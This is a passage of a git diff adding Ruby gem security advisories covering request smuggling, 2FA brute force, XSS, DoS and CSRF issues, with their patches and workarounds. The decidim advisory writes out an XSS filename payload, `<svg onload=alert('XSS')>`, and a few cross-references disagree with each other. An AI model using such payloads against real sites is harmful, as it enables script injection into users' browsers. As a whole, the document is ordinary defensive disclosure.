+    Prior to versions 6.4.2 and 5.6.8, puma exhibited incorrect
+    behavior when parsing chunked transfer encoding bodies in a
+    way that allowed HTTP request smuggling.
+
+    Fixed versions limit the size of chunk extensions. Without this
+    limit, an attacker could cause unbounded resource (CPU, network
+    bandwidth) consumption.
+
+    ### Patches
+
+    The vulnerability has been fixed in 6.4.2 and 5.6.8.
+
+    ### Workarounds
+
+    No known workarounds.
+
+    ### References
+
+    * [HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling)
+    * Open an issue in [Puma](https://github.com/puma/puma)
+    * See our [security policy](https://github.com/puma/puma/security/policy)
+  cvss_v3: 5.9
+  patched_versions:
+  - "~> 5.6.8"
+  - ">= 6.4.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-21647
+    - https://github.com/puma/puma/security/advisories/GHSA-c2f4-cvqm-65w2
+    - https://github.com/puma/puma/commit/5fc43d73b6ff193325e657a24ed76dec79133e93
+    - https://github.com/puma/puma/commit/60d5ee3734adc8cee85c3f0561af392448fe19b7
+    - https://github.com/puma/puma/commit/bbb880ffb6debbfdea535b4b3eb2204d49ae151d
+    - https://github.com/advisories/GHSA-c2f4-cvqm-65w2
+---
diff --git a/advisories/_posts/2024-01-12-CVE-2024-0227.md b/advisories/_posts/2024-01-12-CVE-2024-0227.md
new file mode 100644
index 00000000..453de436
--- /dev/null
+++ b/advisories/_posts/2024-01-12-CVE-2024-0227.md
@@ -0,0 +1,67 @@
+---
+layout: advisory
+title: 'CVE-2024-0227 (devise-two-factor): Devise-Two-Factor vulnerable to brute force
+  attacks'
+comments: false
+categories:
+- devise-two-factor
+advisory:
+  gem: devise-two-factor
+  cve: 2024-0227
+  ghsa: chcr-x7hc-8fp8
+  url: https://github.com/devise-two-factor/devise-two-factor/security/advisories/GHSA-chcr-x7hc-8fp8
+  title: Devise-Two-Factor vulnerable to brute force attacks
+  date: 2024-01-12
+  description: |
+    Devise-Two-Factor does not throttle or otherwise restrict login
+    attempts at the server by default. When combined with the Time-based
+    One Time Password algorithm's (TOTP) inherent entropy limitations,
+    it's possible for an attacker to bypass the 2FA mechanism through
+    brute-force attacks.
+
+    ### Impact
+
+    If a user's username and password have already been compromised an
+    attacker would be able to try possible TOTP codes and see if they
+    can hit a lucky collision to log in as that user. The user under
+    attack would not necessarily know that their account has been
+    compromised.
+
+    ### Patches
+
+    Devise-Two-Factor has not released any fixes for this vulnerability.
+    This library is open-ended by design and cannot solve this for all
+    applications natively. It's recommended that any application leveraging
+    Devise-Two-Factor implement controls at the application level to
+    mitigate this threat. A non-exhaustive list of possible mitigations
+    can be found below.
+
+    #### Mitigations
+
+    1. Use the `lockable` strategy from Devise to lock a user after a
+       certain number of failed login attempts. See
+       https://www.rubydoc.info/github/heartcombo/devise/main/Devise/Models/Lockable
+       for more information.
+
+    2. Configure a rate limit for your application, especially on the
+       endpoints used to log in. One such library to accomplish this is
+       [rack-attack](https://rubygems.org/gems/rack-attack).
+
+    3. When displaying authentication errors hide whether validating a
+       username/password combination failed or a two-factor code failed
+       behind a more generic error message.
+
+    ### Acknowledgements
+
+    Christian Reitter ([Radically Open Security](https://www.radicallyopensecurity.com/))
+    and Chris MacNaughton ([Centauri Solutions](https://centauri.solutions))
+  cvss_v3: 5.0
+  unaffected_versions:
+  - "< 1.0.0"
+  notes: Never patched
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-0227
+    - https://github.com/devise-two-factor/devise-two-factor/security/advisories/GHSA-chcr-x7hc-8fp8
+    - https://github.com/advisories/GHSA-chcr-x7hc-8fp8
+---
diff --git a/advisories/_posts/2024-01-16-CVE-2024-22191.md b/advisories/_posts/2024-01-16-CVE-2024-22191.md
new file mode 100644
index 00000000..72719943
--- /dev/null
+++ b/advisories/_posts/2024-01-16-CVE-2024-22191.md
@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'CVE-2024-22191 (avo): avo vulnerable to stored cross-site scripting (XSS)
+  in key_value field'
+comments: false
+categories:
+- avo
+advisory:
+  gem: avo
+  cve: 2024-22191
+  ghsa: ghjv-mh6x-7q6h
+  url: https://github.com/avo-hq/avo/security/advisories/GHSA-ghjv-mh6x-7q6h
+  title: avo vulnerable to stored cross-site scripting (XSS) in key_value field
+  date: 2024-01-16
+  description: |2
+
+    ### Summary
+
+    A **stored cross-site scripting (XSS)** vulnerability was found in
+    the **key_value** field of Avo v3.2.3. This vulnerability could allow
+    an attacker to execute arbitrary JavaScript code in the victim's browser.
+
+    ### Details
+
+    The value of the key_value is inserted directly into the HTML code.
+    In the current version of Avo (possibly also older versions), the
+    value is not properly sanitized before it is inserted into the HTML code.
+
+    This vulnerability can be exploited by an attacker to inject malicious
+    JavaScript code into the key_value field. When a victim views the page
+    containing the malicious code, the code will be executed in their browser.
+
+    In [avo/fields/common/key_value_component.html.erb](https://github.com/avo-hq/avo/blob/main/app/components/avo/fields/common/key_value_component.html.erb#L38C21-L38C33)
+    the value is taken in lines **38** and **49** and seems to be
+    interpreted directly as html in lines **44** and **55**.
+
+    ### Impact
+
+    This vulnerability could be used to steal sensitive information from
+    victims that could be used to hijack victims' accounts or redirect
+    them to malicious websites.
+  cvss_v3: 7.3
+  patched_versions:
+  - ">= 3.2.4"
+  - "~> 2.47, >= 2.47"
+  related:
+    url:
+    - https://github.com/avo-hq/avo/security/advisories/GHSA-ghjv-mh6x-7q6h
+    - https://github.com/avo-hq/avo/commit/51bb80b181cd8e31744bdc4e7f9b501c81172347
+    - https://github.com/avo-hq/avo/commit/fc92a05a8556b1787c8694643286a1afa6a71258
+    - https://github.com/advisories/GHSA-ghjv-mh6x-7q6h
+---
diff --git a/advisories/_posts/2024-01-17-CVE-2024-22411.md b/advisories/_posts/2024-01-17-CVE-2024-22411.md
new file mode 100644
index 00000000..826d9b52
--- /dev/null
+++ b/advisories/_posts/2024-01-17-CVE-2024-22411.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2024-22411 (avo): Cross-site scripting (XSS) in Action messages on Avo'
+comments: false
+categories:
+- avo
+advisory:
+  gem: avo
+  cve: 2024-22411
+  ghsa: g8vp-2v5p-9qfh
+  url: https://github.com/avo-hq/avo/security/advisories/GHSA-g8vp-2v5p-9qfh
+  title: Cross-site scripting (XSS) in Action messages on Avo
+  date: 2024-01-17
+  description: |
+    Avo is a framework to create admin panels for Ruby on Rails apps.
+    In Avo 3 pre12 any HTML inside text that is passed to `error` or
+    `succeed` in an `Avo::BaseAction` subclass will be rendered directly
+    without sanitization in the toast/notification that appears in the
+    UI on Action completion. A malicious user could exploit this
+    vulnerability to trigger a cross site scripting attack on an
+    unsuspecting user.
+
+    This issue has been addressed in the 3.0.2 release of Avo. Users
+    are advised to upgrade.
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 3.3.0"
+  - "~> 2.47, >= 2.47"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-22411
+    - https://github.com/avo-hq/avo/security/advisories/GHSA-g8vp-2v5p-9qfh
+    - https://github.com/advisories/GHSA-g8vp-2v5p-9qfh
+---
diff --git a/advisories/_posts/2024-02-04-CVE-2024-25062.md b/advisories/_posts/2024-02-04-CVE-2024-25062.md
new file mode 100644
index 00000000..00fbb13f
--- /dev/null
+++ b/advisories/_posts/2024-02-04-CVE-2024-25062.md
@@ -0,0 +1,53 @@
+---
+layout: advisory
+title: 'CVE-2024-25062 (nokogiri): Improper Handling of Unexpected Data Type in Nokogiri'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2024-25062
+  ghsa: xc9x-jj77-9p9j
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-xc9x-jj77-9p9j
+  title: Improper Handling of Unexpected Data Type in Nokogiri
+  date: 2024-02-04
+  description: |
+    ### Summary
+
+    Nokogiri v1.16.2 upgrades the version of its dependency libxml2 to v2.12.5.
+
+    libxml2 v2.12.5 addresses the following vulnerability:
+
+    CVE-2024-25062 / https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25062
+    described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/604
+    patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/92721970
+
+    Please note that this advisory only applies to the CRuby implementation of
+    Nokogiri < 1.16.2, and only if the packaged libraries are being used. If
+    you've overridden defaults at installation time to use system libraries
+    instead of packaged libraries, you should instead pay attention to your
+    distro's libxml2 release announcements.
+
+    ### Severity
+
+    The Nokogiri maintainers have evaluated this as **Moderate**.
+
+    ### Mitigation
+
+    Upgrade to Nokogiri >= 1.16.2.
+
+    Users who are unable to upgrade Nokogiri may also choose a more complicated
+    mitigation: compile and link Nokogiri against external libraries libxml2 >=
+    2.12.5 which will also address these same issues.
+
+    JRuby users are not affected.
+
+    ### Workarounds
+  patched_versions:
+  - ">= 1.16.2"
+  related:
+    url:
+    - https://github.com/sparklemotion/nokogiri/commit/1b768b797fd42d94de12b9cff4ed0221f5cb92ec
+    - https://github.com/sparklemotion/nokogiri/releases/tag/v1.16.2
+    - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-xc9x-jj77-9p9j
+---
diff --git a/advisories/_posts/2024-02-04-GHSA-xc9x-jj77-9p9j.md b/advisories/_posts/2024-02-04-GHSA-xc9x-jj77-9p9j.md
new file mode 100644
index 00000000..01b655d0
--- /dev/null
+++ b/advisories/_posts/2024-02-04-GHSA-xc9x-jj77-9p9j.md
@@ -0,0 +1,63 @@
+---
+layout: advisory
+title: 'GHSA-xc9x-jj77-9p9j (nokogiri): Use-after-free in libxml2 via Nokogiri::XML::Reader'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  ghsa: xc9x-jj77-9p9j
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-xc9x-jj77-9p9j
+  title: Use-after-free in libxml2 via Nokogiri::XML::Reader
+  date: 2024-02-04
+  description: |
+    ### Summary
+
+    Nokogiri upgrades its dependency libxml2 as follows:
+    - v1.15.6 upgrades libxml2 to 2.11.7 from 2.11.6
+    - v1.16.2 upgrades libxml2 to 2.12.5 from 2.12.4
+
+    libxml2 v2.11.7 and v2.12.5 address the following vulnerability:
+
+    CVE-2024-25062 / https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25062
+    - described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/604
+    - patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/92721970
+
+    Please note that this advisory only applies to the CRuby implementation of Nokogiri, and only if
+    the packaged libraries are being used. If you've overridden defaults at installation time to use
+    system libraries instead of packaged libraries, you should instead pay attention to your distro's
+    libxml2 release announcements.
+
+    JRuby users are not affected.
+
+    ### Severity
+
+    The Nokogiri maintainers have evaluated this as **Moderate**.
+
+    ### Impact
+
+    From the CVE description, this issue applies to the `xmlTextReader` module (which underlies
+    `Nokogiri::XML::Reader`):
+
+    > When using the XML Reader interface with DTD validation and XInclude expansion enabled,
+    > processing crafted XML documents can lead to an xmlValidatePopElement use-after-free.
+
+    ### Mitigation
+
+    Upgrade to Nokogiri `~> 1.15.6` or `>= 1.16.2`.
+
+    Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile
+    and link Nokogiri against patched external libxml2 libraries which will also address these same
+    issues.
+  patched_versions:
+  - "~> 1.15.6"
+  - ">= 1.16.2"
+  related:
+    cve:
+    - 2024-25062
+    url:
+    - https://github.com/sparklemotion/nokogiri/commit/1b768b797fd42d94de12b9cff4ed0221f5cb92ec
+    - https://github.com/sparklemotion/nokogiri/releases/tag/v1.15.6
+    - https://github.com/sparklemotion/nokogiri/releases/tag/v1.16.2
+    - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-xc9x-jj77-9p9j
+---
diff --git a/advisories/_posts/2024-02-13-CVE-2024-25122.md b/advisories/_posts/2024-02-13-CVE-2024-25122.md
new file mode 100644
index 00000000..cb0098c4
--- /dev/null
+++ b/advisories/_posts/2024-02-13-CVE-2024-25122.md
@@ -0,0 +1,54 @@
+---
+layout: advisory
+title: 'CVE-2024-25122 (sidekiq-unique-jobs): sidekiq-unique-jobs UI server vulnerable
+  to XSS & RCE in Redis'
+comments: false
+categories:
+- sidekiq-unique-jobs
+advisory:
+  gem: sidekiq-unique-jobs
+  cve: 2024-25122
+  ghsa: cmh9-rx85-xj38
+  url: https://github.com/mhenrixon/sidekiq-unique-jobs/security/advisories/GHSA-cmh9-rx85-xj38
+  title: sidekiq-unique-jobs UI server vulnerable to XSS & RCE in Redis
+  date: 2024-02-13
+  description: |
+    Cross site scripting (XSS) potentially exposing cookies / sessions / localStorage, fixed by sidekiq-unique-jobs v8.0.7.
+
+    ### Details
+
+    Specially crafted URL query parameters handled by any of the following endpoints of sidekiq-unique-jobs' "admin" web UI,
+    allow a super-user attacker, or an unwitting, but authorized, victim, who has received a disguised / crafted link,
+    to successfully execute malicious code, which could potentially steal cookies, session data,
+    or local storage data from the app the sidekiq-unique-jobs web UI is mounted in.
+
+    If your sidekiq-unique-jobs web UI is mounted at `/sidekiq`, the vulnerable paths and query parameters are:
+
+    * `/sidekiq/changelogs`
+      * `filter`
+      * `count`
+    * `/sidekiq/locks`
+      * `filter`
+      * `count`
+    * `/sidekiq/expiring_locks`
+      * `filter`
+
+    ### Impact
+
+    This is a vulnerability of critical severity, which impacts many thousands of sites, since sidekiq-unique-jobs is widely deployed across the industry, with multiple attack vectors.
+
+    ### Patches
+
+    The fix for the XSS vulnerability was released in sidekiq-unique-jobs v8.0.7.
+  cvss_v3: 7.1
+  patched_versions:
+  - "~> 7.1.33"
+  - ">= 8.0.7"
+  related:
+    url:
+    - https://github.com/mhenrixon/sidekiq-unique-jobs/security/advisories/GHSA-cmh9-rx85-xj38
+    - https://github.com/mhenrixon/sidekiq-unique-jobs/commit/cd09ba6108f98973b6649a6149790c3d4502b4cc
+    - https://github.com/mhenrixon/sidekiq-unique-jobs/commit/ec3afd920c1b55843c72f748a87baac7f8be82ed
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-25122
+    - https://github.com/advisories/GHSA-cmh9-rx85-xj38
+---
diff --git a/advisories/_posts/2024-02-20-CVE-2023-47634.md b/advisories/_posts/2024-02-20-CVE-2023-47634.md
new file mode 100644
index 00000000..b8d4bd51
--- /dev/null
+++ b/advisories/_posts/2024-02-20-CVE-2023-47634.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2023-47634 (decidim): Race condition in Endorsements'
+comments: false
+categories:
+- decidim
+advisory:
+  gem: decidim
+  cve: 2023-47634
+  ghsa: r275-j57c-7mf2
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-r275-j57c-7mf2
+  title: Race condition in Endorsements
+  date: 2024-02-20
+  description: |
+    ### Impact
+
+    A race condition in the endorsement of resources (for instance,
+    a proposal) allows a user to make more than once endorsement.
+
+    To exploit this vulnerability, the request to set an
+    endorsement must be sent several times in parallel.
+
+    ### Workarounds
+
+    Disable the Endorsement feature in the components.
+  cvss_v3: 3.1
+  unaffected_versions:
+  - "< 0.10.0"
+  patched_versions:
+  - "~> 0.26.9"
+  - ">= 0.27.5"
+  related:
+    url:
+    - https://github.com/decidim/decidim/security/advisories/GHSA-r275-j57c-7mf2
+    - https://github.com/decidim/decidim/commit/5c5ee7a50d75c10643dd8c495e2517641e4d74db
+    - https://github.com/decidim/decidim/commit/7b840d2c37a562709f4481db644d8c43add28536
+    - https://github.com/advisories/GHSA-r275-j57c-7mf2
+---
diff --git a/advisories/_posts/2024-02-20-CVE-2023-47635.md b/advisories/_posts/2024-02-20-CVE-2023-47635.md
new file mode 100644
index 00000000..18c1c9bf
--- /dev/null
+++ b/advisories/_posts/2024-02-20-CVE-2023-47635.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2023-47635 (decidim-templates): Possible CSRF attack at questionnaire
+  templates preview'
+comments: false
+categories:
+- decidim-templates
+advisory:
+  gem: decidim-templates
+  cve: 2023-47635
+  ghsa: f3qm-vfc3-jg6v
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-f3qm-vfc3-jg6v
+  title: Possible CSRF attack at questionnaire templates preview
+  date: 2024-02-20
+  description: |
+    ### Impact
+    The CSRF authenticity token check is currently disabled for the questionnaire templates preview as per:
+    https://github.com/decidim/decidim/blob/3187bdfd40ea1c57c2c12512b09a7fec0b2bed08/decidim-templates/app/controllers/decidim/templates/admin/questionnaire_templates_controller.rb#L11
+
+    This was introduced by this commit in the PR that introduced this feature (#6247):
+    https://github.com/decidim/decidim/pull/6247/commits/5542227be66e3b6d7530f5b536069bce09376660
+
+    The issue does not imply a serious security thread as you need to have access also to the session cookie in order to see this resource. This URL does not allow modifying the resource but it may allow attackers to gain access to information which was not meant to be public.
+
+    ### Patches
+    #11743
+
+    ### Workarounds
+    Disable the templates functionality or remove all available templates.
+
+    ### References
+    #11743
+  cvss_v3: 4.5
+  unaffected_versions:
+  - "< 0.23.0"
+  patched_versions:
+  - ">= 0.27.5"
+  related:
+    url:
+    - https://github.com/decidim/decidim/security/advisories/GHSA-f3qm-vfc3-jg6v
+    - https://github.com/decidim/decidim/pull/11743
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-47635
+    - https://github.com/decidim/decidim/pull/6247
+    - https://github.com/decidim/decidim/commit/5542227be66e3b6d7530f5b536069bce09376660
+    - https://github.com/decidim/decidim/commit/57a4b467787448307b5d9b01ce6e2c8502e121ac
+    - https://github.com/decidim/decidim/blob/3187bdfd40ea1c57c2c12512b09a7fec0b2bed08/decidim-templates/app/controllers/decidim/templates/admin/questionnaire_templates_controller.rb#L11
+    - https://github.com/decidim/decidim/releases/tag/v0.27.5
+    - https://github.com/decidim/decidim/releases/tag/v0.28.0
+    - https://github.com/advisories/GHSA-f3qm-vfc3-jg6v
+---
diff --git a/advisories/_posts/2024-02-20-CVE-2023-48220.md b/advisories/_posts/2024-02-20-CVE-2023-48220.md
new file mode 100644
index 00000000..9d17f1f8
--- /dev/null
+++ b/advisories/_posts/2024-02-20-CVE-2023-48220.md
@@ -0,0 +1,80 @@
+---
+layout: advisory
+title: 'CVE-2023-48220 (devise_invitable): Possibility to circumvent the invitation
+  token expiry period'
+comments: false
+categories:
+- devise_invitable
+advisory:
+  gem: devise_invitable
+  cve: 2023-48220
+  ghsa: w3q8-m492-4pwp
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-w3q8-m492-4pwp
+  title: Possibility to circumvent the invitation token expiry period
+  date: 2024-02-20
+  description: |
+    ### Impact
+    The invites feature allows users to accept the invitation for an unlimited amount of time through the password reset functionality.
+
+    When using the password reset functionality, the `devise_invitable` gem always accepts the pending invitation if the user has been invited as shown in this piece of code within the `devise_invitable` gem:
+    https://github.com/scambra/devise_invitable/blob/41f58970ff76fb64382a9b9ea1bd530f7c3adab2/lib/devise_invitable/models.rb#L198
+
+    The only check done here is if the user has been invited but the code does not ensure that the pending invitation is still valid as defined by the `invite_for` expiry period as explained in the gem's documentation:
+    https://github.com/scambra/devise_invitable#model-configuration-
+
+    > `invite_for`: The period the generated invitation token is valid. After this period, the invited resource won’t be able to accept the invitation. When `invite_for` is `0` (the default), the invitation won’t expire.
+
+    Decidim sets this configuration to `2.weeks` so this configuration should be respected:
+    https://github.com/decidim/decidim/blob/d2d390578050772d1bdb6d731395f1afc39dcbfc/decidim-core/config/initializers/devise.rb#L134
+
+    The bug is in the `devise_invitable` gem and should be fixed there and the dependency should be upgraded in Decidim once the fix becomes available.
+
+    ### Patches
+    Update `devise_invitable` to version `2.0.9` or above by running the following command:
+
+    ```
+    $ bundle update devise_invitable
+    ```
+
+    ### Workarounds
+    The invitations can be cancelled directly from the database by running the following command from the Rails console:
+
+    ```
+    > Decidim::User.invitation_not_accepted.update_all(invitation_token: nil)
+    ```
+
+    ### References
+    OWASP ASVS V4.0.3-2.3.1
+
+    This bug has existed in the `devise_invitable` gem since this commit which was first included in the `v0.4.rc3` release of this gem:
+    https://github.com/scambra/devise_invitable/commit/94d859c7de0829bf63f679ae5dd3cab2b866a098
+
+    All versions since then are affected.
+
+    This gem was first introduced at its version `~> 1.7.0` to the `decidim-admin` gem in this commit which was first included in the `v0.0.1.alpha3` release of Decidim:
+    https://github.com/decidim/decidim/commit/073e60e2e4224dd81815a784002ebba30f2ebb34
+
+    It was first introduced at its version `~> 1.7.0` to the `decidim-system` gem in this commit which was also first included in the `v0.0.1.alpha3` release of Decidim:
+    https://github.com/decidim/decidim/commit/b12800717a689c295a9ea680a38ca9f823d2c454
+
+    ### Credits
+    This issue was discovered in City of Helsinki's security audit against Decidim 0.27 done during September 2023. The security audit was implemented by [Deloitte Finland](https://www2.deloitte.com/fi/fi.html).
+  cvss_v3: 5.7
+  unaffected_versions:
+  - "< 0.4.rc3"
+  patched_versions:
+  - ">= 2.0.9"
+  related:
+    url:
+    - https://github.com/decidim/decidim/security/advisories/GHSA-w3q8-m492-4pwp
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-48220
+    - https://github.com/decidim/decidim/commit/073e60e2e4224dd81815a784002ebba30f2ebb34
+    - https://github.com/decidim/decidim/commit/b12800717a689c295a9ea680a38ca9f823d2c454
+    - https://github.com/scambra/devise_invitable/commit/94d859c7de0829bf63f679ae5dd3cab2b866a098
+    - https://github.com/decidim/decidim/blob/d2d390578050772d1bdb6d731395f1afc39dcbfc/decidim-core/config/initializers/devise.rb#L134
+    - https://github.com/decidim/decidim/releases/tag/v0.26.9
+    - https://github.com/decidim/decidim/releases/tag/v0.27.5
+    - https://github.com/decidim/decidim/releases/tag/v0.28.0
+    - https://github.com/scambra/devise_invitable/blob/41f58970ff76fb64382a9b9ea1bd530f7c3adab2/lib/devise_invitable/models.rb#L198
+    - https://github.com/advisories/GHSA-w3q8-m492-4pwp
+---
diff --git a/advisories/_posts/2024-02-20-CVE-2023-51447.md b/advisories/_posts/2024-02-20-CVE-2023-51447.md
new file mode 100644
index 00000000..bee7b67c
--- /dev/null
+++ b/advisories/_posts/2024-02-20-CVE-2023-51447.md
@@ -0,0 +1,55 @@
+---
+layout: advisory
+title: 'CVE-2023-51447 (decidim): Cross-site scripting (XSS) in the dynamic file uploads'
+comments: false
+categories:
+- decidim
+advisory:
+  gem: decidim
+  cve: 2023-51447
+  ghsa: 9w99-78rj-hmxq
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-9w99-78rj-hmxq
+  title: Cross-site scripting (XSS) in the dynamic file uploads
+  date: 2024-02-20
+  description: |
+    ### Impact
+    The dynamic file upload feature is subject to potential XSS attach in case the attacker manages to modify the file names of the records being uploaded to the server.
+
+    This appears in sections where the user controls the file upload dialogs themselves and has the technical knowledge to change the file names through the dynamic upload endpoint. Therefore I believe it would require the attacker to control the whole session of the particular user but in any case, this needs to be fixed.
+
+    Successful exploit of this vulneratibility would require the user to have successfully uploaded a file blob to the server with a malicious file name and then have the possibility to direct the other user to the edit page of the record where the attachment is attached.
+
+    The users are able to craft the direct upload requests themselves controlling the file name that gets stored to the database as shown here:
+    https://github.com/rails/rails/blob/a967d355c6fee9ad9b8bd115d43bc8b0fc207e7e/activestorage/app/controllers/active_storage/direct_uploads_controller.rb#L14
+
+    The attacker is able to change the filename e.g. to `<svg onload=alert('XSS')>` if they know how to craft these requests themselves. And then enter the returned blob ID to the form inputs manually by modifying the edit page source.
+
+    Therefore, anywhere we display these strings, we should properly escape them.
+
+    ### Patches
+    PR #11612 fixes this problem both for 0.28.dev and 0.27.x.
+
+    ### Workarounds
+    Disable dynamic uploads for the instance, e.g. from proposals.
+
+    ### References
+    OWASP ASVS v4.0.3-5.1.3
+
+    ### Credits
+    This issue was discovered in City of Helsinki's security audit against Decidim 0.27 done during September 2023. The security audit was implemented by [Deloitte Finland](https://www2.deloitte.com/fi/fi.html).
+  cvss_v3: 6.3
+  unaffected_versions:
+  - "< 0.27.0"
+  patched_versions:
+  - ">= 0.27.5"
+  related:
+    url:
+    - https://github.com/decidim/decidim/security/advisories/GHSA-9w99-78rj-hmxq
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-51447
+    - https://github.com/decidim/decidim/pull/11612
+    - https://github.com/decidim/decidim/commit/aaf72787cf18beeeb6a771c1f7cbb7654b073423
+    - https://github.com/decidim/decidim/releases/tag/v0.27.5
+    - https://github.com/decidim/decidim/releases/tag/v0.28.0
+    - https://github.com/rails/rails/blob/a967d355c6fee9ad9b8bd115d43bc8b0fc207e7e/activestorage/app/controllers/active_storage/direct_uploads_controller.rb#L14
+    - https://github.com/advisories/GHSA-9w99-78rj-hmxq
+---
diff --git a/advisories/_posts/2024-02-21-CVE-2024-25126.md b/advisories/_posts/2024-02-21-CVE-2024-25126.md
new file mode 100644
index 00000000..de200673
--- /dev/null
+++ b/advisories/_posts/2024-02-21-CVE-2024-25126.md
@@ -0,0 +1,67 @@
+---
+layout: advisory
+title: 'CVE-2024-25126 (rack): Denial of Service Vulnerability in Rack Content-Type
+  Parsing'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2024-25126
+  ghsa: 22f2-v57c-j9cx
+  url: https://discuss.rubyonrails.org/t/denial-of-service-vulnerability-in-rack-content-type-parsing/84941
+  title: Denial of Service Vulnerability in Rack Content-Type Parsing
+  date: 2024-02-21
+  description: |
+    There is a possible denial of service vulnerability in the content type
+    parsing component of Rack. This vulnerability has been assigned the CVE
+    identifier CVE-2024-25126.
+
+    Versions Affected: >= 0.4 Not affected: < 0.4 Fixed Versions: 3.0.9.1, 2.2.8.1
+
+    # Impact
+
+    Carefully crafted content type headers can cause Rack’s media type parser to
+    take much longer than expected, leading to a possible denial of service
+    vulnerability.
+
+    Impacted code will use Rack’s media type parser to parse content type headers.
+    This code will look like below:
+
+    ```
+    request.media_type
+
+    ## OR
+    request.media_type_params
+
+    ## OR
+    Rack::MediaType.type(content_type)
+    ```
+
+    Some frameworks (including Rails) call this code internally, so upgrading is
+    recommended!
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    # Releases
+
+    The fixed releases are available at the normal locations.
+
+    # Workarounds
+
+    There are no feasible workarounds for this issue.
+  cvss_v3: 5.3
+  unaffected_versions:
+  - "< 0.4"
+  patched_versions:
+  - "~> 2.2.8, >= 2.2.8.1"
+  - ">= 3.0.9.1"
+  related:
+    url:
+    - https://github.com/rack/rack/releases/tag/v3.0.9.1
+    - https://github.com/rack/rack/releases/tag/v2.2.8.1
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-25126
+    - https://access.redhat.com/security/cve/cve-2024-25126
+    - https://ubuntu.com/security/CVE-2024-25126
+---
diff --git a/advisories/_posts/2024-02-21-CVE-2024-26141.md b/advisories/_posts/2024-02-21-CVE-2024-26141.md
new file mode 100644
index 00000000..ddfdc075
--- /dev/null
+++ b/advisories/_posts/2024-02-21-CVE-2024-26141.md
@@ -0,0 +1,48 @@
+---
+layout: advisory
+title: 'CVE-2024-26141 (rack): Possible DoS Vulnerability with Range Header in Rack'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2024-26141
+  ghsa: xj5v-6v4g-jfw6
+  url: https://discuss.rubyonrails.org/t/possible-dos-vulnerability-with-range-header-in-rack/84944
+  title: Possible DoS Vulnerability with Range Header in Rack
+  date: 2024-02-21
+  description: |
+    There is a possible DoS vulnerability relating to the Range request header in
+    Rack. This vulnerability has been assigned the CVE identifier CVE-2024-26141.
+
+    Versions Affected: >= 1.3.0. Not affected: < 1.3.0 Fixed Versions: 3.0.9.1, 2.2.8.1
+
+    # Impact
+
+    Carefully crafted Range headers can cause a server to respond with an
+    unexpectedly large response. Responding with such large responses could lead
+    to a denial of service issue.
+
+    Vulnerable applications will use the `Rack::File` middleware or the
+    `Rack::Utils.byte_ranges` methods (this includes Rails applications).
+
+    # Releases
+
+    The fixed releases are available at the normal locations.
+
+    # Workarounds
+
+    There are no feasible workarounds for this issue.
+  unaffected_versions:
+  - "< 1.3.0"
+  patched_versions:
+  - "~> 2.2.8, >= 2.2.8.1"
+  - ">= 3.0.9.1"
+  related:
+    url:
+    - https://github.com/rack/rack/releases/tag/v3.0.9.1
+    - https://github.com/rack/rack/releases/tag/v2.2.8.1
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-25141
+    - https://access.redhat.com/security/cve/cve-2024-26141
+    - https://ubuntu.com/security/CVE-2024-26141
+---
diff --git a/advisories/_posts/2024-02-21-CVE-2024-26142.md b/advisories/_posts/2024-02-21-CVE-2024-26142.md
new file mode 100644
index 00000000..4c211068
--- /dev/null
+++ b/advisories/_posts/2024-02-21-CVE-2024-26142.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2024-26142 (actionpack): Possible ReDoS vulnerability in Accept header
+  parsing in Action Dispatch'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2024-26142
+  ghsa: jjhx-jhvp-74wq
+  url: https://discuss.rubyonrails.org/t/possible-redos-vulnerability-in-accept-header-parsing-in-action-dispatch/84946
+  title: Possible ReDoS vulnerability in Accept header parsing in Action Dispatch
+  date: 2024-02-21
+  description: |
+    There is a possible ReDoS vulnerability in the Accept header parsing routines
+    of Action Dispatch. This vulnerability has been assigned the CVE identifier
+    CVE-2024-26142.
+
+    Versions Affected: >= 7.1.0, < 7.1.3.1 Not affected: < 7.1.0 Fixed Versions: 7.1.3.1
+
+    # Impact
+
+    Carefully crafted Accept headers can cause Accept header parsing in
+    Action Dispatch to take an unexpected amount of time, possibly resulting in a
+    DoS vulnerability. All users running an affected release should either upgrade
+    or use one of the workarounds immediately.
+
+    Ruby 3.2 has mitigations for this problem, so Rails applications using
+    Ruby 3.2 or newer are unaffected.
+
+    # Releases
+
+    The fixed releases are available at the normal locations.
+
